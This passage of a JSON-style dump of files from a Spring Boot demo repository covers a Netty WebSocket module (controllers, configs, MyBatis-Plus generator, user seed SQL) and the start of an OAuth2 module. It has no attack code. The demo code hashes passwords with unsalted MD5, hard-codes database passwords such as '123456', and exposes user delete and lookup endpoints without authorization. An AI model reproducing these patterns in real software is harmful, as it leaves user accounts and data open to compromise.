args){\n\t\tSystem.out.println(MD5Utils.Encrypt(\"admin\", true));\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/web/PushController.java",
    "content": "package com.company.project.web;\n\nimport com.company.project.service.PushService;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\n/** * @author sixiaojie * @date 2020-03-30-20:08 */\n@RestController\n@RequestMapping(\"/push\")\npublic class PushController {\n\n    @Autowired\n    private PushService pushService;\n\n    @GetMapping(\"/pushAll\")\n    public void pushToAll(@RequestParam(\"msg\") String msg){\n        pushService.pushMsgToAll(msg);\n    }\n    @GetMapping(\"/pushOne\")\n    public void pushMsgToOne(@RequestParam(\"--\") String userId,@RequestParam(\"msg\") String msg){\n        pushService.pushMsgToOne(userId,msg);\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/web/UserController.java",
    "content": "package com.company.project.web;\n\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultGenerator;\nimport com.company.project.utils.JwtUtils;\nimport com.company.project.utils.MD5Utils;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport org.springframework.web.bind.annotation.*;\nimport com.company.project.service.IUserService;\nimport com.company.project.model.User;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\n\nimport javax.annotation.Resource;\nimport javax.validation.Valid;\n\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * <p>\n *  前端控制器\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Slf4j\n@RestController\n@RequestMapping(\"/api/user\")\npublic class UserController {\n\n    @Resource\n    private IUserService userService;\n\n    @ApiOperation(\"登陆\")\n    @PostMapping(\"/login\")\n    public Result login(@RequestBody @Valid User user) {\n        QueryWrapper<User> queryWrapper = new QueryWrapper<>();\n        queryWrapper.eq(\"username\", user.getUsername());\n        User userO = userService.getOne(queryWrapper);\n        if (userO == null) {\n            return ResultGenerator.genFailResult(\"账号未找到\");\n        }\n        if (!MD5Utils.Encrypt(user.getPassword(),true).equals(userO.getPassword())) {\n            return ResultGenerator.genFailResult(\"密码错误\");\n        }\n        String token = JwtUtils.geneJsonWebToken(user);\n        user.setToken(token);\n        user.setPassword(\"\");\n        return ResultGenerator.genSuccessResult(user);\n    }\n\n    @ApiOperation(\"注册\")\n    @PostMapping(\"/register\")\n    public Result register(@RequestBody @Valid User user) {\n        QueryWrapper<User> queryWrapper = new QueryWrapper<>();\n        queryWrapper.eq(\"username\", user.getUsername());\n        User userO = userService.getOne(queryWrapper);\n        if (userO != null) {\n            return ResultGenerator.genFailResult(\"账号已存在\");\n        }\n        user.setPassword(MD5Utils.Encrypt(user.getPassword(),true));\n        userService.save(user);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"删除\")\n    @PostMapping(\"delete/{id}\")\n    public Result delete(@PathVariable(\"id\") Long id){\n        userService.removeById(id);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"更新\")\n    @PostMapping(\"update\")\n    public Result update(@RequestBody User user){\n        //密码不更新\n        user.setPassword(null);\n        userService.updateById(user);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"查询分页数据\")\n    @ApiImplicitParams({\n        @ApiImplicitParam(name = \"currentPage\", value = \"页码\"),\n        @ApiImplicitParam(name = \"pageCount\", value = \"每页条数\")\n    })\n    @GetMapping(\"listByPage\")\n    public Result findListByPage(@RequestParam(defaultValue = \"1\") Integer currentPage,\n                                   @RequestParam(defaultValue = \"10\") Integer pageCount){\n        Page page = new Page(currentPage, pageCount);\n        IPage<User> iPage = userService.page(page);\n        return ResultGenerator.genSuccessResult(iPage);\n    }\n\n    @ApiOperation(value = \"id查询\")\n    @GetMapping(\"getById/{id}\")\n    public Result findById(@PathVariable Long id){\n        return ResultGenerator.genSuccessResult(userService.getById(id));\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/resources/application-dev.yml",
    "content": "# 开发环境配置\nspring:\n  webSocket:\n    netty:\n      port: 58080\n      path: /ws\n  datasource:\n    dynamic:\n      primary: master #设置默认的数据源或者数据源组,默认值即为master\n      datasource:\n        master:\n          username: root\n          password:\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://localhost:3306/test666?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        slave_1:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://xx.xx.xx.xx:3307/dynamic?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        slave_2:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://xx.xx.xx.xx:3308/dynamic?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        #......省略\n        #以上会配置一个默认库master，一个组slave下有两个子库slave_1,slave_2\nmybatis-plus:\n  configuration:\n    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl\n  mapper-locations: classpath:mapper/*.xml\n  global-config:\n    db-config:\n      logic-delete-value: 1\n      logic-not-delete-value: 0\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/resources/application-prod.yml",
    "content": "# 生产环境配置\nknife4j:\n  production: true #生成环境禁用查看接口文档\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/resources/application-test.yml",
    "content": "# 测试环境配置\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/resources/application.yml",
    "content": "spring:\n  profiles:\n    active: dev\n  mvc:\n    throw-exception-if-no-handler-found: true\n  resources:\n    add-mappings: false\n  application:\n    name: Springboot-api\n  jackson:\n    date-format: yyyy-MM-dd HH:mm:ss\n    time-zone: GMT+8\nserver:\n  port: 8080\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/resources/banner.txt",
    "content": "////////////////////////////////////////////////////////////////////\n//                          _ooOoo_                               //\n//                         o8888888o                              //\n//                         88\" . \"88                              //\n//                         (| ^_^ |)                              //\n//                         O\\  =  /O                              //\n//                      ____/`---'\\____                           //\n//                    .'  \\\\|     |//  `.                         //\n//                   /  \\\\|||  :  |||//  \\                        //\n//                  /  _||||| -:- |||||-  \\                       //\n//                  |   | \\\\\\  -  /// |   |                       //\n//                  | \\_|  ''\\---/''  |   |                       //\n//                  \\  .-\\__  `-`  ___/-. /                       //\n//                ___`. .'  /--.--\\  `. . ___                     //\n//              .\"\" '<  `.___\\_<|>_/___.'  >'\"\".                  //\n//            | | :  `- \\`.;`\\ _ /`;.`/ - ` : | |                 //\n//            \\  \\ `-.   \\_ __\\ /__ _/   .-` /  /                 //\n//      ========`-.____`-.___\\_____/___.-`____.-'========         //\n//                           `=---='                              //\n//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^        //\n//            佛祖保佑       永不宕机     永无BUG                    //\n////////////////////////////////////////////////////////////////////"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/resources/mapper/UserMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.company.project.dao.UserMapper\">\n\n        <!-- 通用查询映射结果 -->\n        <resultMap id=\"BaseResultMap\" type=\"com.company.project.model.model.User\">\n                    <id column=\"id\" property=\"id\"/>\n                    <result column=\"username\" property=\"username\"/>\n                    <result column=\"password\" property=\"password\"/>\n                    <result column=\"nick_name\" property=\"nickName\"/>\n                    <result column=\"sex\" property=\"sex\"/>\n                    <result column=\"create_date\" property=\"createDate\"/>\n                    <result column=\"create_user\" property=\"createUser\"/>\n                    <result column=\"update_date\" property=\"updateDate\"/>\n                    <result column=\"update_user\" property=\"updateUser\"/>\n                    <result column=\"del_flag\" property=\"delFlag\"/>\n        </resultMap>\n\n        <!-- 通用查询结果列 -->\n        <sql id=\"Base_Column_List\">\n            id, username, password, nick_name, sex, create_date, create_user, update_date, update_user, del_flag\n        </sql>\n\n</mapper>"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/resources/testNettyWebsocket.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"UTF-8\">\n<title>Title</title>\n</head>\n<body>\n<script>\nvar socket;\n// 判断当前浏览器是否支持webSocket\nif(window.WebSocket){\nsocket = new WebSocket(\"ws://localhost:58080/ws\")\n// 相当于channel的read事件，ev 收到服务器回送的消息\nsocket.onmessage = function (ev) {\nvar rt = document.getElementById(\"responseText\");\nrt.value = rt.value + \"\\n\" + ev.data;\n}\n// 相当于连接开启\nsocket.onopen = function (ev) {\nvar rt = document.getElementById(\"responseText\");\nrt.value = \"连接开启了...\"\nsocket.send(\nJSON.stringify({\n// 连接成功将，用户ID传给服务端\nuid: \"123456\"\n})\n);\n}\n// 相当于连接关闭\nsocket.onclose = function (ev) {\nvar rt = document.getElementById(\"responseText\");\nrt.value = rt.value + \"\\n\" + \"连接关闭了...\";\n}\n}else{\nalert(\"当前浏览器不支持webSocket\")\n}\n\n\n</script>\n<form onsubmit=\"return false\">\n<textarea id=\"responseText\" style=\"height: 150px; width: 300px;\"></textarea>\n<input type=\"button\" value=\"清空内容\" onclick=\"document.getElementById('responseText').value=''\">\n</form>\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/test/java/CodeGenerator.java",
    "content": "import com.baomidou.mybatisplus.core.toolkit.StringPool;\nimport com.baomidou.mybatisplus.generator.AutoGenerator;\nimport com.baomidou.mybatisplus.generator.InjectionConfig;\nimport com.baomidou.mybatisplus.generator.config.*;\nimport com.baomidou.mybatisplus.generator.config.po.TableInfo;\nimport com.baomidou.mybatisplus.generator.config.rules.DateType;\nimport com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;\nimport com.baomidou.mybatisplus.generator.engine.FreemarkerTemplateEngine;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n// 演示例子，执行 main 方法控制台输入模块表名回车自动生成对应项目目录中\npublic class CodeGenerator {\n\n\n    //多个表逗号分隔\n    static String tableName = \"user_copy\";\n    //逻辑删除字段名, 假如表没有逻辑删除字段，请忽视\n    static String logicDeleteFieldName = \"del_flag\";\n\n    public static void main(String[] args) {\n        // 代码生成器\n        AutoGenerator mpg = new AutoGenerator();\n\n        // 全局配置\n        GlobalConfig gc = new GlobalConfig();\n        String projectPath = System.getProperty(\"user.dir\");\n        gc.setOutputDir(projectPath + \"/src/main/java\");\n        gc.setAuthor(\"aitangbao\");\n        gc.setOpen(false);\n        gc.setBaseColumnList(true);\n        gc.setBaseResultMap(true);\n        gc.setDateType(DateType.ONLY_DATE);\n        // gc.setSwagger2(true); 实体属性 Swagger2 注解\n        mpg.setGlobalConfig(gc);\n\n        // 数据源配置\n        DataSourceConfig dsc = new DataSourceConfig();\n        dsc.setUrl(\"jdbc:mysql://localhost:3306/project?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=UTC\");\n        // dsc.setSchemaName(\"public\");\n        dsc.setDriverName(\"com.mysql.cj.jdbc.Driver\");\n        dsc.setUsername(\"root\");\n        dsc.setPassword(\"123456\");\n        mpg.setDataSource(dsc);\n\n        // 包配置\n        PackageConfig pc = new PackageConfig();\n        pc.setParent(\"com.company.project\");\n        pc.setEntity(\"model\");\n        pc.setMapper(\"dao\");\n        pc.setController(\"web\");\n        mpg.setPackageInfo(pc);\n\n        // 自定义配置\n        InjectionConfig cfg = new InjectionConfig() {\n            @Override\n            public void initMap() {\n                // to do nothing\n            }\n        };\n\n        // 如果模板引擎是 freemarker\n        String templatePath = \"/templates/mapper.xml.ftl\";\n        // 如果模板引擎是 velocity\n        // String templatePath = \"/templates/mapper.xml.vm\";\n\n        // 自定义输出配置\n        List<FileOutConfig> focList = new ArrayList<>();\n        // 自定义配置会被优先输出\n        focList.add(new FileOutConfig(templatePath) {\n            @Override\n            public String outputFile(TableInfo tableInfo) {\n                // 自定义输出文件名 ， 如果你 Entity 设置了前后缀、此处注意 xml 的名称会跟着发生变化！！\n                return projectPath + \"/src/main/resources/mapper/\" + tableInfo.getEntityName() + \"Mapper\" + StringPool.DOT_XML;\n            }\n        });\n        cfg.setFileOutConfigList(focList);\n        mpg.setCfg(cfg);\n\n        // 配置模板\n        TemplateConfig templateConfig = new TemplateConfig();\n\n        // 配置自定义输出模板\n        //指定自定义模板路径，注意不要带上.ftl/.vm, 会根据使用的模板引擎自动识别\n//         templateConfig.setEntity(\"templates/entity.java\");\n        // templateConfig.setService();\n         templateConfig.setController(\"templates/controller.java\");\n\n        templateConfig.setXml(null);\n        mpg.setTemplate(templateConfig);\n\n        // 策略配置\n        StrategyConfig strategy = new StrategyConfig();\n        strategy.setNaming(NamingStrategy.underline_to_camel);\n        strategy.setColumnNaming(NamingStrategy.underline_to_camel);\n//        strategy.setSuperEntityClass(\"你自己的父类实体,没有就不用设置!\");\n        strategy.setEntityLombokModel(true);\n        strategy.setRestControllerStyle(true);\n        // 公共父类\n//        strategy.setSuperControllerClass(\"你自己的父类控制器,没有就不用设置!\");\n        // 写于父类中的公共字段\n//        strategy.setSuperEntityColumns(\"id\");\n        strategy.setInclude(tableName.split(\",\"));\n        strategy.setControllerMappingHyphenStyle(true);\n        strategy.setLogicDeleteFieldName(logicDeleteFieldName); // 逻辑删除字段名称\n        strategy.setTablePrefix(pc.getModuleName() + \"_\");\n        mpg.setStrategy(strategy);\n        mpg.setTemplateEngine(new FreemarkerTemplateEngine());\n        mpg.execute();\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/test/java/com/company/project/Tester.java",
    "content": "package com.company.project;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n/**\n * 单元测试\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = Application.class)\npublic class Tester {\n\n    @Test\n    public void test() {\n\n    }\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/test/resources/templates/controller.java.ftl",
    "content": "package ${package.Controller};\n\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultGenerator;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport org.springframework.web.bind.annotation.*;\nimport ${package.Service}.${table.serviceName};\nimport ${package.Entity}.${entity};\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\n\nimport javax.annotation.Resource;\n<#if restControllerStyle>\nimport org.springframework.web.bind.annotation.RestController;\n<#else>\nimport org.springframework.stereotype.Controller;\n</#if>\n<#if superControllerClassPackage??>\nimport ${superControllerClassPackage};\n</#if>\n\n/**\n * <p>\n * ${table.comment!} 前端控制器\n * </p>\n *\n * @author ${author}\n * @since ${date}\n */\n<#if restControllerStyle>\n@Api(tags = {\"${table.comment!}\"})\n@Slf4j\n@RestController\n<#else>\n@Controller\n</#if>\n@RequestMapping(\"<#if package.ModuleName??>/${package.ModuleName}</#if>/<#if controllerMappingHyphenStyle??>${controllerMappingHyphen}<#else>${table.entityPath}</#if>\")\n<#if kotlin>\nclass ${table.controllerName}<#if superControllerClass??>:${superControllerClass}()</#if>\n<#else>\n<#if superControllerClass??>public class ${table.controllerName} extends ${superControllerClass}{\n<#else>public class ${table.controllerName} {\n</#if>\n\n    @Resource\n    private ${table.serviceName} ${(table.serviceName?substring(1))?uncap_first};\n\n\n    @ApiOperation(value = \"新增${table.comment!}\")\n    @PostMapping(\"add\")\n    public Result add(@RequestBody ${entity} ${entity?uncap_first}){\n        ${(table.serviceName?substring(1))?uncap_first}.save(${entity?uncap_first});\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"删除${table.comment!}\")\n    @PostMapping(\"delete/{id}\")\n    public Result delete(@PathVariable(\"id\") Long id){\n        ${(table.serviceName?substring(1))?uncap_first}.removeById(id);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"更新${table.comment!}\")\n    @PostMapping(\"update\")\n    public Result update(@RequestBody ${entity} ${entity?uncap_first}){\n        ${(table.serviceName?substring(1))?uncap_first}.updateById(${entity?uncap_first});\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"查询${table.comment!}分页数据\")\n    @ApiImplicitParams({\n        @ApiImplicitParam(name = \"currentPage\", value = \"页码\"),\n        @ApiImplicitParam(name = \"pageCount\", value = \"每页条数\")\n    })\n    @GetMapping(\"listByPage\")\n    public Result findListByPage(@RequestParam Integer currentPage,\n                                   @RequestParam Integer pageCount){\n        Page page = new Page(currentPage, pageCount);\n        IPage<${entity}> iPage = ${(table.serviceName?substring(1))?uncap_first}.page(page);\n        return ResultGenerator.genSuccessResult(iPage);\n    }\n\n    @ApiOperation(value = \"id查询${table.comment!}\")\n    @GetMapping(\"getById/{id}\")\n    public Result findById(@PathVariable Long id){\n        return ResultGenerator.genSuccessResult(${(table.serviceName?substring(1))?uncap_first}.getById(id));\n    }\n\n}\n</#if>"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/test/resources/user.sql",
    "content": "/*\n Navicat Premium Data Transfer\n\n Source Server         : localhost\n Source Server Type    : MySQL\n Source Server Version : 50529\n Source Host           : localhost:3306\n Source Schema         : project\n\n Target Server Type    : MySQL\n Target Server Version : 50529\n File Encoding         : 65001\n\n Date: 08/01/2020 15:53:02\n*/\n\nSET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS = 0;\n\n-- ----------------------------\n-- Table structure for user\n-- ----------------------------\nDROP TABLE IF EXISTS `user`;\nCREATE TABLE `user`  (\n  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',\n  `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '用户名',\n  `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '密码',\n  `nick_name` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '昵称',\n  `sex` int(1) NULL DEFAULT NULL COMMENT '性别',\n  `create_date` datetime NULL DEFAULT NULL COMMENT '创建时间',\n  `create_user` int(11) NULL DEFAULT NULL COMMENT '创建人',\n  `update_date` datetime NULL DEFAULT NULL COMMENT '修改时间',\n  `update_user` int(11) NULL DEFAULT NULL COMMENT '修改人',\n  `del_flag` int(1) NULL DEFAULT 0 COMMENT '删除标志0未删 1删除',\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB AUTO_INCREMENT = 11 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;\n\n-- ----------------------------\n-- Records of user\n-- ----------------------------\nINSERT INTO `user` VALUES (1, 'admin', '9dc818b4bca3baa7d230fbf96c919638', '土豆', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (2, '2@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-2', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (3, '3@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-3', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (4, '4@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-4', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (5, '5@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-5', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (6, '6@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-6', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (7, '7@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-7', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (8, '8@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-8', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (9, '9@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-9', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (10, '10@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-10', 1, NULL, NULL, NULL, NULL, 0);\n\nSET FOREIGN_KEY_CHECKS = 1;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/README.md",
    "content": "# springboot2.0-oauth2\n- [springboot 2.0 整合Oauth2](https://longfeizheng.github.io/2018/04/29/Spring-Boot-2.0-%E6%95%B4%E5%90%88-Spring-Security-Oauth2/)\n- [SpringBott 1.5.6.RELEASE整合Oauth2](https://github.com/longfeizheng/security-oauth2)\n\n\n#### 授权码模式\n\n[![https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth202.gif](https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth202.gif \"https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth202.gif\")](https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth202.gif \"https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth202.gif\")\n\n#### 密码模式\n\n[![https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth203.gif](https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth203.gif \"https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth203.gif\")](https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth203.gif \"https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth203.gif\")\n\n#### 自定义登录\n\n[![https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth204.gif](https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth204.gif \"https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth204.gif\")](https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth204.gif \"https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth204.gif\")\n\n#### 刷新token\n\n[![https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth205.gif](https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth205.gif \"https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth205.gif\")](https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth205.gif \"https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth205.gif\")\n\n#### 测试资源服务器\n\n[![https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth206.gif](https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth206.gif \"https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth206.gif\")](https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth206.gif \"https://raw.githubusercontent.com/longfeizheng/longfeizheng.github.io/master/images/security/spring-security-oauth206.gif\")\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>springboot_oauth2</artifactId>\n        <version>1.0</version>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>authorization-server</artifactId>\n\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.cloud</groupId>\n            <artifactId>spring-cloud-starter-oauth2</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.security</groupId>\n            <artifactId>spring-security-jwt</artifactId>\n            <!--<version>1.0.9.RELEASE</version>-->\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-redis</artifactId>\n            <version>1.4.7.RELEASE</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.20</version> <!-- 1.8.x 最佳兼容版本 -->\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.code.gson</groupId>\n            <artifactId>gson</artifactId>\n            <version>2.8.2</version>\n        </dependency>\n\n        <dependency>\n            <groupId>io.jsonwebtoken</groupId>\n            <artifactId>jjwt</artifactId>\n            <version>0.9.0</version>\n        </dependency>\n\n        <dependency>\n            <groupId>commons-lang</groupId>\n            <artifactId>commons-lang</artifactId>\n            <version>2.6</version>\n        </dependency>\n\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/src/main/java/cn/merryyou/security/SpringBoot2Oauth2Application.java",
    "content": "package cn.merryyou.security;\n\nimport cn.merryyou.security.properties.OAuth2Properties;\nimport cn.merryyou.security.utils.JsonUtil;\nimport io.jsonwebtoken.Claims;\nimport io.jsonwebtoken.Jwts;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.security.core.Authentication;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport javax.servlet.http.HttpServletRequest;\nimport java.io.UnsupportedEncodingException;\nimport java.security.Principal;\n\n/**\n * Created on 2018/4/28.\n *\n * @author zlf\n * @since 1.0\n */\n@RestController\n@SpringBootApplication\n@Slf4j\npublic class SpringBoot2Oauth2Application {\n\n    @Autowired\n    private OAuth2Properties oAuth2Properties;\n\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBoot2Oauth2Application.class, args);\n    }\n\n    @GetMapping(\"/userJwt\")\n    public Object getCurrentUserJwt(Authentication authentication, HttpServletRequest request) throws UnsupportedEncodingException {\n        log.info(\"【SecurityOauth2Application】 getCurrentUserJwt authentication={}\", JsonUtil.toJson(authentication));\n\n        String header = request.getHeader(\"Authorization\");\n        String token = StringUtils.substringAfter(header, \"bearer \");\n\n        Claims claims = Jwts.parser().setSigningKey(oAuth2Properties.getJwtSigningKey().getBytes(\"UTF-8\")).parseClaimsJws(token).getBody();\n        String blog = (String) claims.get(\"blog\");\n        log.info(\"【SecurityOauth2Application】 getCurrentUser1 blog={}\", blog);\n\n        return authentication;\n    }\n\n    @GetMapping(\"/userRedis\")\n    public Object getCurrentUserRedis(Authentication authentication) {\n        log.info(\"【SecurityOauth2Application】 getCurrentUserRedis authentication={}\", JsonUtil.toJson(authentication));\n\n\n        return authentication;\n    }\n\n    @GetMapping(\"/user/me\")\n    public Principal user(Principal user){\n        return user;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/src/main/java/cn/merryyou/security/config/TokenStoreConfig.java",
